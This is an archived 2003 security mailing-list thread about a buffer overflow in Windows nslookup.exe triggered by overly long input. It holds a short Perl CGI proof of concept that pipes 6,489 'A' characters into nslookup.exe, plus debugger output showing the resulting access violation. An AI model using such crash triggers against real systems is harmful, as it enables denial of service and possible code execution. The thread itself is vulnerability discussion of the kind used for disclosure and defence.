Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting
From: Ryan Yagatich <ryany(at)pantek.com>
Date: Fri Mar 21 2003 - 12:04:49 EST

==begin silly.cgi

#!perl -w

use strict;
print "Content-type: text/html\n\n";

open(NSLOOKUP,"|nslookup.exe") || die "Could not open nslookup.exe (path?)";

        print NSLOOKUP "A" x 6489;
close(NSLOOKUP);

==end silly.cgi

MSDE:
Unhandled exception at 0x01004d65 in NSLOOKUP.EXE: 0xC0000005: Access violation writing location 0x0103e000.

     01004D5D  cmp         esi,100F770h 
     01004D63  je          01004D6F 

---> 01004D65 mov dword ptr [edi],esi
01004D67 add edi,4 01004D6A jmp 01004C37
Do you need help?X

01004D65 = 16797029

,_____________________________________________________,
\ Ryan Yagatich                     support@pantek.com \
/ Pantek Incorporated                  (877) LINUX-FIX /
\ 
http://www.pantek.com/security        (440) 519-1802 \
/       Are your networks secure? Are you certain?     /
\___A4536371BF88C57DB181799D00BCA331E6AD909D297C3493___\ On Thu, 20 Mar 2003, Blue Boar wrote:
>Patrick Webster wrote:
>> Can you do anything interesting with this?:
>> 
>> C:\>nslookup
>> Default Server:  dns.server.net
>> Address:  111.222.333.444
>> 
>> 
>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> 
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> 
>> Gives error: memory can't be "read" - 0x414141 (aka A).
>
>If you have to manually type all the A's, then probably not.  Maybe if 
>someone did something silly like make a CGI script that calls nslookup.exe 
>directly with user input.
>
>What OS are you testing on?  It looks like it's fixed in XP:
>
>C:\winxp\system32>nslookup
>Default Server:  dns1.snfcca.sbcglobal.net
>Address:  206.13.28.12
>
> > 
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>*** Input is too long
> >
>
>
>					BB
>
Received on Fri Mar 21 13:51:25 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:38 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library